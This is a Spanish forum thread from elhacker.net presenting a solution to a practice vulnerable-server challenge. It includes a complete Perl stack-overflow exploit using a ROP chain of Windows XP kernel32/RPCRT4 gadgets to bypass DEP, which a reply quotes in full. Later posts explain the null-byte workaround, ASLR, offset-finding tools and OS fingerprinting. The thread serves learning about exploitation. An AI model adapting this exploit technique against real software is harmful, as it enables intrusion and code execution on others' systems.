Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: .:UND3R:. en 19 Enero 2015, 17:31 pm



Título: Solución Server Vuln de harry_the_blogger
Publicado por: .:UND3R:. en 19 Enero 2015, 17:31 pm
Solución Server Vuln de harry_the_blogger

Problema:
- Se debe lograr ejecutar dos funciones ocultas ubicadas en un ejecutable vulnerable a stack buffer overflow (desbordamiento de pila), por lo menos eso es lo que alude el ejecutable, harry_the_blogger no mencionó el objetivo del juego  :huh:.

Solución:
La idea principal es lograr modificar PC (program counter) que en este caso (arquitectura) es lo que apunta el registro EIP, para ello la composición del exploit sería el siguiente:
Código:
- Basura ("A").
- Salto al stack (JMP ESP/PUSH ESP/RETN).
- Address función oculta 1 (0x40105E).
- Address función oculta 2 (0x401036).

[BASURA][SALTO AL STACK][ADDRESS FUNCION_OCULTA_1][RETORNO][ADDRESS FUNCION_OCULTA_2]

Esto se podría realizar, pero el problema que tendríamos principalmente serían las direcciones de las funciones ocultas ya que estas contienen bytes nulos (null bytes), lo cual nos "cortaría" el flujo de nuestro exploit, para ello tenemos como solución lo siguiente:
Código:
- Basura ("A").
- Salto al stack (JMP ESP/PUSH ESP/RETN).
#----INICIO---Ejecución de código dentro del stack
- Mover las direcciones modificadas de las funciones ocultas a los registros (EJ: 0x401036 + 0x11111111h)
- Restar/sumar a las direcciones la modificación para que queden con su valor original.
- CALL Dirección oculta 1
- Call Dirección oculta 2
#----FIN -----Ejecución de código dentro del stack

Pero pfff y que ocurre con DEP ?  >:( Si usáramos esta solución, el sistema no nos permitiría la ejecución de código en el stack (mecanismo de protección).

Solución final:
Como solución propuesta, se me ocurrió utilizar cadenas ROP lo cual nos permitirá ejecutar código del mismo ejecutable y módulos cargados, el cual terminará llamando a las dos funciones ocultas y evitando la protección DEP:

Código
  1. # Operating system = Microsoft Windows XP Profesional Versión 2002 Service Pack 2
  2. # Language         = Spanish
  3. # Required DLL     = kernel32.dll | RPCRT4.dll
  4. # Author           = UND3R
  5.  
  6. use strict;
  7. use Socket;
  8. my $junk = "\x41" x 64;
  9. my $eip = pack('V', 0x7c87f30e); # kernel32.dll | POP EAX;POP EBP;RETN
  10. my $hidden_two = pack('V', 0x373e47db); # 0x40105E - 0xC901C883 = 0x373E47DB
  11. my $hidden_one = pack('V', 0x373e47b3); # 0x401036 - 0xC901C883 = 0x373E47B3
  12. my $rop1 = pack('V', 0x7c80ad03); # kernel32.dll | ADD EAX,0xC901C883;RETN
  13. my $rop2 = pack('V', 0x7c80b0eb); # kernel32.dll | XCHG EAX,EBP
  14. my $rop3 = pack('V', 0x7c80ad03); # kernel32.dll | ADD EAX,0xC901C883;RETN
  15. my $rop4 = pack('V', 0x77e61acc); # RPCRT4.dll | CALL EAX;RETN
  16. my $rop5 = pack('V', 0x7c80b0eb); # kernel32.dll | XCHG EAX,EBP
  17. my $rop6 = pack('V', 0x77e61acc); # RPCRT4.dll | CALL EAX;RETN
  18.  
  19. my $exploit = $junk . $eip . $hidden_two . $hidden_one . $rop1 . $rop2 . $rop3 . $rop4 . $rop5 . $rop6;
  20.  
  21. # initialize host and port
  22. my $host = shift || 'localhost';
  23. my $port = shift || 6666;
  24.  
  25. my $proto = getprotobyname('tcp');
  26.  
  27. # get the port address
  28. my $iaddr = inet_aton($host);
  29. my $paddr = sockaddr_in($port, $iaddr);
  30.  
  31. print "[+] Setting up socket\n";
  32. # create the socket, connect to the port
  33. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  34. print "[+] Connecting to $host on port $port\n";
  35. connect(SOCKET, $paddr) or die "connect: $!";
  36.  
  37. print "[+] Sending payload (size = " . length($exploit) . ") \n";
  38. print SOCKET $exploit."\n";
  39.  
  40. print "[+] Payload sent\n";
  41. close SOCKET or die "close: $!";

- ¿Es standard?
Lamentablemente no ya que utiliza dos DLL cargadas por el sistema (las mencioné en el exploit). No lo pude hacer standard/genérico ya que al ser un ejecutable muy sencillo y no contar con sus propias DLL se me fue imposible encontrar cadenas ROP dentro de él y tuve que buscar DLLs del sistema.

- Saludos y agradecimientos
harry_the_blogger genial amigo que manera de programa muy linda y nada mejor que postees este tipo de retos en el foro lo cual a mi criterio simplemente aporta conocimiento :D y a Don Videla que ya nos veremos.


Aquí una imagen de la ejecución del exploit, por cierto DEP arrancó pero luego de haber ejecutado las funciones ocultas (seguramente por el desbordamiento ocasionado):
(http://i.elhacker.net/i?i=5UhxYVH0lrszGe3atUYF6GVo) (http://i.elhacker.net/d?i=5UhxYVH0lrszGe3atUYF6GVo)

PD: Voy en un bus viajando así que perdona si no me pude explicar bien, si tienes alguna duda, con gusto te respondo :D


Título: Re: Solución Server Vuln de harry_the_blogger
Publicado por: Pablo Videla en 19 Enero 2015, 18:46 pm
Gracias por el saludo compadre!

De verdad esto me lo tendrás qué explicar en persona xD.



Título: Re: Solución Server Vuln de harry_the_blogger
Publicado por: dRak0 en 20 Enero 2015, 09:19 am
Solución Server Vuln de harry_the_blogger

Problema:
- Se debe lograr ejecutar dos funciones ocultas ubicadas en un ejecutable vulnerable a stack buffer overflow (desbordamiento de pila), por lo menos eso es lo que alude el ejecutable, harry_the_blogger no mencionó el objetivo del juego  :huh:.

Solución:
La idea principal es lograr modificar PC (program counter) que en este caso (arquitectura) es lo que apunta el registro EIP, para ello la composición del exploit sería el siguiente:
Código:
- Basura ("A").
- Salto al stack (JMP ESP/PUSH ESP/RETN).
- Address función oculta 1 (0x40105E).
- Address función oculta 2 (0x401036).

[BASURA][SALTO AL STACK][ADDRESS FUNCION_OCULTA_1][RETORNO][ADDRESS FUNCION_OCULTA_2]

Esto se podría realizar, pero el problema que tendríamos principalmente serían las direcciones de las funciones ocultas ya que estas contienen bytes nulos (null bytes), lo cual nos "cortaría" el flujo de nuestro exploit, para ello tenemos como solución lo siguiente:
Código:
- Basura ("A").
- Salto al stack (JMP ESP/PUSH ESP/RETN).
#----INICIO---Ejecución de código dentro del stack
- Mover las direcciones modificadas de las funciones ocultas a los registros (EJ: 0x401036 + 0x11111111h)
- Restar/sumar a las direcciones la modificación para que queden con su valor original.
- CALL Dirección oculta 1
- Call Dirección oculta 2
#----FIN -----Ejecución de código dentro del stack

Pero pfff y que ocurre con DEP ?  >:( Si usáramos esta solución, el sistema no nos permitiría la ejecución de código en el stack (mecanismo de protección).

Solución final:
Como solución propuesta, se me ocurrió utilizar cadenas ROP lo cual nos permitirá ejecutar código del mismo ejecutable y módulos cargados, el cual terminará llamando a las dos funciones ocultas y evitando la protección DEP:

Código
  1. # Operating system = Microsoft Windows XP Profesional Versión 2002 Service Pack 2
  2. # Language         = Spanish
  3. # Required DLL     = kernel32.dll | RPCRT4.dll
  4. # Author           = UND3R
  5.  
  6. use strict;
  7. use Socket;
  8. my $junk = "\x41" x 64;
  9. my $eip = pack('V', 0x7c87f30e); # kernel32.dll | POP EAX;POP EBP;RETN
  10. my $hidden_two = pack('V', 0x373e47db); # 0x40105E - 0xC901C883 = 0x373E47DB
  11. my $hidden_one = pack('V', 0x373e47b3); # 0x401036 - 0xC901C883 = 0x373E47B3
  12. my $rop1 = pack('V', 0x7c80ad03); # kernel32.dll | ADD EAX,0xC901C883;RETN
  13. my $rop2 = pack('V', 0x7c80b0eb); # kernel32.dll | XCHG EAX,EBP
  14. my $rop3 = pack('V', 0x7c80ad03); # kernel32.dll | ADD EAX,0xC901C883;RETN
  15. my $rop4 = pack('V', 0x77e61acc); # RPCRT4.dll | CALL EAX;RETN
  16. my $rop5 = pack('V', 0x7c80b0eb); # kernel32.dll | XCHG EAX,EBP
  17. my $rop6 = pack('V', 0x77e61acc); # RPCRT4.dll | CALL EAX;RETN
  18.  
  19. my $exploit = $junk . $eip . $hidden_two . $hidden_one . $rop1 . $rop2 . $rop3 . $rop4 . $rop5 . $rop6;
  20.  
  21. # initialize host and port
  22. my $host = shift || 'localhost';
  23. my $port = shift || 6666;
  24.  
  25. my $proto = getprotobyname('tcp');
  26.  
  27. # get the port address
  28. my $iaddr = inet_aton($host);
  29. my $paddr = sockaddr_in($port, $iaddr);
  30.  
  31. print "[+] Setting up socket\n";
  32. # create the socket, connect to the port
  33. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  34. print "[+] Connecting to $host on port $port\n";
  35. connect(SOCKET, $paddr) or die "connect: $!";
  36.  
  37. print "[+] Sending payload (size = " . length($exploit) . ") \n";
  38. print SOCKET $exploit."\n";
  39.  
  40. print "[+] Payload sent\n";
  41. close SOCKET or die "close: $!";

- ¿Es standard?
Lamentablemente no ya que utiliza dos DLL cargadas por el sistema (las mencioné en el exploit). No lo pude hacer standard/genérico ya que al ser un ejecutable muy sencillo y no contar con sus propias DLL se me fue imposible encontrar cadenas ROP dentro de él y tuve que buscar DLLs del sistema.

- Saludos y agradecimientos
harry_the_blogger genial amigo que manera de programa muy linda y nada mejor que postees este tipo de retos en el foro lo cual a mi criterio simplemente aporta conocimiento :D y a Don Videla que ya nos veremos.


Aquí una imagen de la ejecución del exploit, por cierto DEP arrancó pero luego de haber ejecutado las funciones ocultas (seguramente por el desbordamiento ocasionado):
(http://i.elhacker.net/i?i=5UhxYVH0lrszGe3atUYF6GVo) (http://i.elhacker.net/d?i=5UhxYVH0lrszGe3atUYF6GVo)

PD: Voy en un bus viajando así que perdona si no me pude explicar bien, si tienes alguna duda, con gusto te respondo :D

¿Que necesidad de crear otro post para esto?
Para hacerlo standard , ¿se podria buscar rop en cada dll de cada sistema y que determine el shellcode segun el sistema?Si es xp sp3 -> tal , si es xp sp2 -> tal , etc.

Pd:No lo tomes como ofensa , es solo una observacion.


Título: Re: Solución Server Vuln de harry_the_blogger
Publicado por: .:UND3R:. en 20 Enero 2015, 19:56 pm
Excelente idea, inclusive podría obtener el sistema operativo con nmap y con ello ver que cadena de ROP usar.

Lo de un nuevo post es para que no se pierda ya que si te percatas estos temas son poco usuales (quizás incentive a algún usuario).

Saludos y gracias por los consejos :D


Título: Re: Solución Server Vuln de harry_the_blogger
Publicado por: harry_the_blogger en 21 Enero 2015, 01:11 am
Gracias UND3R.

Oye, y esos valores son indepedientes de la máquina o hay que recalcularlos??? Y esos de ROPs hay que sacarlos de nuevo???

Lo probé y no salió como sale en tu captura de pantalla. ¿Que he podido hacer mal??? Disculpen por hacer tantas preguntas, es que soy nuevo en esto de exploits y no he podido avanzar mucho.

Me estaré leyendo la documentacion de perl para entender bien el exploit.

Ah, otra pregunta: ¿Por que siempre los exploits los hacen en Perl o en Python?? ¿Cual de los dos es mejor?? Yo por lo menos prefiero Perl, aunque si hay otro mejor me cambio.

Ah, y mi XP pareciera no tener DEP. ¿Eso es malo?? Sé que en un entorno real debería estar, pero como estoy aprendiendo no afecta, verdad???

Gracias a todos por su ayuda.


Título: Re: Solución Server Vuln de harry_the_blogger
Publicado por: .:UND3R:. en 21 Enero 2015, 06:42 am
Gracias UND3R.

Oye, y esos valores son indepedientes de la máquina o hay que recalcularlos??? Y esos de ROPs hay que sacarlos de nuevo???

Lo probé y no salió como sale en tu captura de pantalla. ¿Que he podido hacer mal??? Disculpen por hacer tantas preguntas, es que soy nuevo en esto de exploits y no he podido avanzar mucho.

Me estaré leyendo la documentacion de perl para entender bien el exploit.

Ah, otra pregunta: ¿Por que siempre los exploits los hacen en Perl o en Python?? ¿Cual de los dos es mejor?? Yo por lo menos prefiero Perl, aunque si hay otro mejor me cambio.

Ah, y mi XP pareciera no tener DEP. ¿Eso es malo?? Sé que en un entorno real debería estar, pero como estoy aprendiendo no afecta, verdad???

Gracias a todos por su ayuda.

Citar
Oye, y esos valores son indepedientes de la máquina o hay que recalcularlos??? Y esos de ROPs hay que sacarlos de nuevo???
R: Si te refieres con valores a los address/direcciones esto depende de algunos factores:
Escenario caso ideal (sin ningún tipo de protección).
- Si el address se encuentra dentro del ejecutable (módulo cargado o ejecutable mismo) no deberías cambiarlo.
- Si el address es del sistema, deberías cambiarlo ya que los módulos del sistema varían de acuerdo al idioma, sp del sistema.

Escenario caso real (protecciones).
- En este caso deberías cambiar prácticamente todo, ya que si existe ASLR las direcciones variarán cada vez que arranque el sistema (aunque las DLL utilizadas no poseían la protección ASLR por lo cual el sistema no debería cambiar su base address).



Citar
Lo probé y no salió como sale en tu captura de pantalla. ¿Que he podido hacer mal??? Disculpen por hacer tantas preguntas, es que soy nuevo en esto de exploits y no he podido avanzar mucho.

R: Mira en cada address coloqué lo que hace cada instrucción con comentarios, ya que la idea del ROP (programación orientada al retorno) es evitar DEP el cual no permite ejecutar código en ciertos lugares del ejecutable como lo es el heap o el stack (Poner EIP con JMP ESP y ejecutar código en el stack). En palabras simples debes tomar las direcciones y buscarlas en el depurador, si están en tu sistema y pose la misma secuencia de instrucciones que puse comentadas es por que está bien y debería funcionar, ahora si no son las mismas instrucciones deberás localizar las instrucciones con algún script (puedes usar mona, un script en python para inmunity debugger).
Por cierto yo hace un tiempo atrás hice un script para OllyScript (plugins de OllyDbg) si quieres lo puedo publicar.



Citar
Ah, otra pregunta: ¿Por que siempre los exploits los hacen en Perl o en Python?? ¿Cual de los dos es mejor?? Yo por lo menos prefiero Perl, aunque si hay otro mejor me cambio.
R: Quizás por comodidad ya que Perl y Python al ser lenguajes intérpretes ahorras tiempo, imagínate tener que estar compilando cada vez que intentas hacer funcionar el exploit, por ejemplo yo habré intentado ejecutar el exploit unas 50 o 60 veces como mínimo, hazte la idea, ahora cual es mejor, mmmm depende de cual se te acomode más a mi se me hace muy sencillo perl, no manejo python aunque se ve bonito con sus identación.



Citar
Ah, y mi XP pareciera no tener DEP. ¿Eso es malo?? Sé que en un entorno real debería estar, pero como estoy aprendiendo no afecta, verdad???
R:Mmm depende del punto de vista, si eres la víctima es recomendable tener DEP activado, si eres el atacante es recomendable que el sistema tenga DEP desactivado, en cuanto si afecta, si el exploit está diseñado para evadir DEP es decir utilizar secuencia de ROPs entonces independiente de que DEP esté activado o no NO afecta. Esto se explica por que DEP a simples rasgos marca zonas del ejecutable como no permitidas para ejecutar código como por ejemplo HEAP y STACK entonces el exploit que no evade el DEP saltará al stack y ejecutará la shellcode o payload entonces al intentar ejecutar código en una zona no permita, se generará una excepción irrecuperable, por eso la invención de las cadenas ROPs que si te fijas solo se encargan de ejecutar instrucciones ya existentes las cuales se encuentran en zonas permitidas para ejecutar y siempre terminan con un ret ya que siempre estarán volviendo a la siguiente cadena del stack.


Título: Re: Solución Server Vuln de harry_the_blogger
Publicado por: dRak0 en 21 Enero 2015, 22:12 pm
R: Si te refieres con valores a los address/direcciones esto depende de algunos factores:
Escenario caso ideal (sin ningún tipo de protección).
- Si el address se encuentra dentro del ejecutable (módulo cargado o ejecutable mismo) no deberías cambiarlo.
- Si el address es del sistema, deberías cambiarlo ya que los módulos del sistema varían de acuerdo al idioma, sp del sistema.

Escenario caso real (protecciones).
- En este caso deberías cambiar prácticamente todo, ya que si existe ASLR las direcciones variarán cada vez que arranque el sistema (aunque las DLL utilizadas no poseían la protección ASLR por lo cual el sistema no debería cambiar su base address).



R: Mira en cada address coloqué lo que hace cada instrucción con comentarios, ya que la idea del ROP (programación orientada al retorno) es evitar DEP el cual no permite ejecutar código en ciertos lugares del ejecutable como lo es el heap o el stack (Poner EIP con JMP ESP y ejecutar código en el stack). En palabras simples debes tomar las direcciones y buscarlas en el depurador, si están en tu sistema y pose la misma secuencia de instrucciones que puse comentadas es por que está bien y debería funcionar, ahora si no son las mismas instrucciones deberás localizar las instrucciones con algún script (puedes usar mona, un script en python para inmunity debugger).
Por cierto yo hace un tiempo atrás hice un script para OllyScript (plugins de OllyDbg) si quieres lo puedo publicar.


R: Quizás por comodidad ya que Perl y Python al ser lenguajes intérpretes ahorras tiempo, imagínate tener que estar compilando cada vez que intentas hacer funcionar el exploit, por ejemplo yo habré intentado ejecutar el exploit unas 50 o 60 veces como mínimo, hazte la idea, ahora cual es mejor, mmmm depende de cual se te acomode más a mi se me hace muy sencillo perl, no manejo python aunque se ve bonito con sus identación.


R:Mmm depende del punto de vista, si eres la víctima es recomendable tener DEP activado, si eres el atacante es recomendable que el sistema tenga DEP desactivado, en cuanto si afecta, si el exploit está diseñado para evadir DEP es decir utilizar secuencia de ROPs entonces independiente de que DEP esté activado o no NO afecta. Esto se explica por que DEP a simples rasgos marca zonas del ejecutable como no permitidas para ejecutar código como por ejemplo HEAP y STACK entonces el exploit que no evade el DEP saltará al stack y ejecutará la shellcode o payload entonces al intentar ejecutar código en una zona no permita, se generará una excepción irrecuperable, por eso la invención de las cadenas ROPs que si te fijas solo se encargan de ejecutar instrucciones ya existentes las cuales se encuentran en zonas permitidas para ejecutar y siempre terminan con un ret ya que siempre estarán volviendo a la siguiente cadena del stack.

Me suena a que aprendiste con los tutes de corelan(por el tema de perl).
Python rulez bitches... jaja


Título: Re: Solución Server Vuln de harry_the_blogger
Publicado por: .:UND3R:. en 22 Enero 2015, 07:34 am
Me atrapaste jajajjaja pero dame un poco de tiempo e intentaré reforzar de un libro, por cierto no tengo nada que decir con respecto a Python, mis respetos  ;-)


Título: Re: Solución Server Vuln de harry_the_blogger
Publicado por: MCKSys Argentina en 22 Enero 2015, 15:31 pm
Perdón por la intromisión, pero a la hora de hacer exploits, Ruby y Python son los más usados. Ruby por ser el lenguaje usado en Metasploit. Y python por ser "primo-hermano" de este otro (Y, en mi caso, por usarse en la plataforma en la que trabajo ;) ).

Saludos!


Título: Re: Solución Server Vuln de harry_the_blogger
Publicado por: harry_the_blogger en 23 Enero 2015, 06:15 am
Gracias a todos por sus respuestas. Pero sigo teniendo problemas. No entiendo que estoy haciendo mal.

Comprobé las direcciones de las funciones ocultas, y coinciden con las de mi máquina. No debería haber problema.

Ahora una pregunta: Esa variable $eip = pack('V', 0x7c87f30e) puedo sustituirla por la funcion oculta directamente??? ¿Como puedo obtener yo la direccion de un ROP??

Es que estoy teniendo problemas con los exploits sencillos, y entender eso de ROPs me está costando porque no tengo experiencia previa. ¿Será que puedo explotarlo sin usar ROPs??? Creo que mi sistema tiene DEP desactivado por defecto. No habría problema, verdad??? Intenté eliminar los ROPs, pero falló igual.

Podrías explicarme brevemente como encontrar eso de ROPs??? Solo por encima, yo profundizo con internet a partir de lo que me digan.

Ah, y porque para rellenar se necesitan 64 bytes, si en mi codigo es de 60??? Estaba afectando el alignment???

Gracias por su ayuda a todos. Perdon por la preguntadera. Esto de explotar es díficil, al menos en principio. Y de paso el bachillerato no me deja tiempo para practicar. XD


Título: Re: Solución Server Vuln de harry_the_blogger
Publicado por: dRak0 en 23 Enero 2015, 20:40 pm
Gracias a todos por sus respuestas. Pero sigo teniendo problemas. No entiendo que estoy haciendo mal.

Comprobé las direcciones de las funciones ocultas, y coinciden con las de mi máquina. No debería haber problema.

Ahora una pregunta: Esa variable $eip = pack('V', 0x7c87f30e) puedo sustituirla por la funcion oculta directamente??? ¿Como puedo obtener yo la direccion de un ROP??

Es que estoy teniendo problemas con los exploits sencillos, y entender eso de ROPs me está costando porque no tengo experiencia previa. ¿Será que puedo explotarlo sin usar ROPs??? Creo que mi sistema tiene DEP desactivado por defecto. No habría problema, verdad??? Intenté eliminar los ROPs, pero falló igual.

Podrías explicarme brevemente como encontrar eso de ROPs??? Solo por encima, yo profundizo con internet a partir de lo que me digan.

Ah, y porque para rellenar se necesitan 64 bytes, si en mi codigo es de 60??? Estaba afectando el alignment???

Gracias por su ayuda a todos. Perdon por la preguntadera. Esto de explotar es díficil, al menos en principio. Y de paso el bachillerato no me deja tiempo para practicar. XD

Que tal?
Explica que es lo que entendes que esta pasando al ejecutar el codigo de under.

¿Exploits sencillos?
Todo es sencillo cuando se sabe hacerlo.

Lo de los ROPs(Return oriented programming) , es una forma de bypassear un tipo de seguridad que consiste en que no se pueda ejecutar nada en el stack(DEP).
Te doy un ejemplo en GNU/Linux , no soy de explotar mucho en windows soy bastante nuevo en el tema , otra forma de bypassear DEP es usando otra tecnica llamada ret2libc , que basicamente es lo mismo , retornar a una libreria donde se pueda ejecutar codigo.
Si no tiene proteccion  podes sobreescribir directamente eip , y si no podes(porque esta limitado el tamaño del buffer)con tener tan solo 1 byte para sobreescribir ebp  , podes realizar off-by-one , si tenes los 4 bytes , modificar todo ebp , y otras tecnicas mas.


Quiero ayudarte(Si puedo)pero empezemos por el principio, para ver que es lo que no te cierra , donde esta tu falla , tu bug.Asi lo parcheamos.


Título: Re: Solución Server Vuln de harry_the_blogger
Publicado por: harry_the_blogger en 25 Enero 2015, 00:13 am
Hola, disculpen por demorarme tanto en responder. Estoy dedicando tiempo para entender bien el código, para que no digan que uno no se esfuerza. XD.

Bueno, ahora bien. Yo antes pensaba que sólo era cuestión de insertar la direccion después de los bytes basura, pero ya veo que no. XD, O al menos no en mi máquina.

No entiendo algunas partes sobre la direccion de las funciones ocultas:

  • Por que restas un valor a la direccion??? Sólo por evitar los nulos???
  • De donde sacas ese valor que le restas??? Tengo yo que reemplazarlo y de donde lo calculo?? En mí máquina el exploit sin modificar no trabaja. E incluso prescindiendo de los ROPs tampoco lo hace
  • Como haces para que el valor restado sea revertido y pueda ejecutar las funciones??? Con los ROPs???

Ah, y una última pregunta: ¿Como hiciste para saber que el tamaño del buffer es de 64, si en mi codigo es de 60??? ¿¿¿Quiere decir que si afecta el alignment?? O es que esos bytes son de ebp???

Gracias de antemano, y disculpen por las preguntas.

Eso de ROPs me está mareando. No sé si ese será el problema. Por lo demás, como dije antes, las direcciones de las funciones ocultas coinciden con mi máquina. Estaré apoyandome con otros tutes de internet para ir profundizando.

En cuanto a PERL, ya me leí la documentacion, y entiendo mejor que hace en sí el exploit. Para que no piensen que tengo problemas con la sintaxis del lenguaje.

Bueno, a seguir echando cabeza.



Título: Re: Solución Server Vuln de harry_the_blogger
Publicado por: .:UND3R:. en 25 Enero 2015, 03:16 am
Eso valores para restas es una especie de truco me explico, ya que strcpy termina de copiar hasta que que se encuentre un byte nulo, las direcciones que contengan byte nulos cortarán la cadena del exploit, puedes hace la prueba haciendo un desbordamiento que en vez de A (\x41) utiliza 0 y verás que no podrás explotar el fallo debido a la forma en que funciona strcpy, ahora en cuanto a lo de sumar y restar es algo que se me ocurrió para solucionar lo de los bytes nulos, te dejo la idea de como debería ser pero no se puede por los bytes nulos:

POP EAX
0x0040105E

Como vez la cadena se cortaría inmediatamente y todo lo que venga a continuación 0x00 no se copiará en el stack por lo cual tienes que inventar una forma de tener ese valor en un registro sin que hayan bytes nulos, aquí algunos ejemplos:

POP EAX
0x1151216F    ; 0x0040105E + 0x11111111

Pondrás la dirección 0x1151216F inservible para el exploit en el registro, pero ya cumpliste el objetivo de aludir los bytes nulos, ahora quedaría transformar ese valor inservible para el exploit para que tenga la dirección que necesitamos llamar es decir restar 0x11111111 a EAX (operación inversa):

SUB EAX,0x11111111

lo cual dará como resultado 0x0040105E la dirección que necesitamos ya en el los registros de propósitos general de 32 bit sin cortar el exploit.

¿Se entiende?

Si no entiendes, puedo seguir explicando, no hay problemas

EDIT:
- Para calcular el valor es una operación inversa, solo busqué un ADD r32,CONST en ollydbg y encontré una constante de 8 bytes ya que si fuese menos habría bytes nulos, entonces tomé el valor que quiero calcular y le resté la constante.

- Para saber la cantidad de bytes que provocan el desborde simplemente usas un generate pattern no sé como se dirá en español pero metasploit dispone de uno:

Citar
Metasploit (version 3.0+) has a tool for both:
1) to generate the string pattern (tools/pattern_create.rb)
2) to find the offset of the required pattern (tools/pattern_offset.rb)

Pero también está en perl, muy sencillo mira:
https://securitythoughts.wordpress.com/2010/03/18/tool-unique-pattern-generator-for-exploit-development/

También está la opción comando PC length dentro del plugins mona (python) para inmunity debugger

Saludos


Título: Re: Solución Server Vuln de harry_the_blogger
Publicado por: harry_the_blogger en 29 Enero 2015, 23:39 pm
Gracias UND3R. Estoy entendiendo eso de que lo usas para evitar los nulos, pero tengo una duda:

¿Como puedes alterar el valor de la direccion, usando una instruccion que trabaja sobre un registro aún no llenado?

No sé si estaré mal, pero veo que cuando se desborda, salta a una instruccion en un módulo (que aparentemente no coincide con mi máquina) para recuperar el valor deseado. No entiendo como eso funciona, si el valor no está precargado en ese registro con el que trabaja la instruccion.

Disculpa por las molestias. Gracias por el generate pattern en Perl, eso de descargar metasploit completo solo por esos dos scripts es algo sin sentido. Me estoy leyendo un sitio de secuirty sift para profundizar.


Título: Re: Solución Server Vuln de harry_the_blogger
Publicado por: .:UND3R:. en 30 Enero 2015, 03:04 am
Gracias UND3R. Estoy entendiendo eso de que lo usas para evitar los nulos, pero tengo una duda:

¿Como puedes alterar el valor de la direccion, usando una instruccion que trabaja sobre un registro aún no llenado?

No sé si estaré mal, pero veo que cuando se desborda, salta a una instruccion en un módulo (que aparentemente no coincide con mi máquina) para recuperar el valor deseado. No entiendo como eso funciona, si el valor no está precargado en ese registro con el que trabaja la instruccion.

Disculpa por las molestias. Gracias por el generate pattern en Perl, eso de descargar metasploit completo solo por esos dos scripts es algo sin sentido. Me estoy leyendo un sitio de secuirty sift para profundizar.


Los registros si se llenan, con la instrucción POP r32 se extrae de la pila una valor DWORD que en este caso es la constante a sumar o a restar al registro (dependiendo de la operación aritmética que hagas).

Para que te funcione es sencillo, debes poner un BP en la 1era cadena de ROP e ir depurando paso a paso y verás como funciona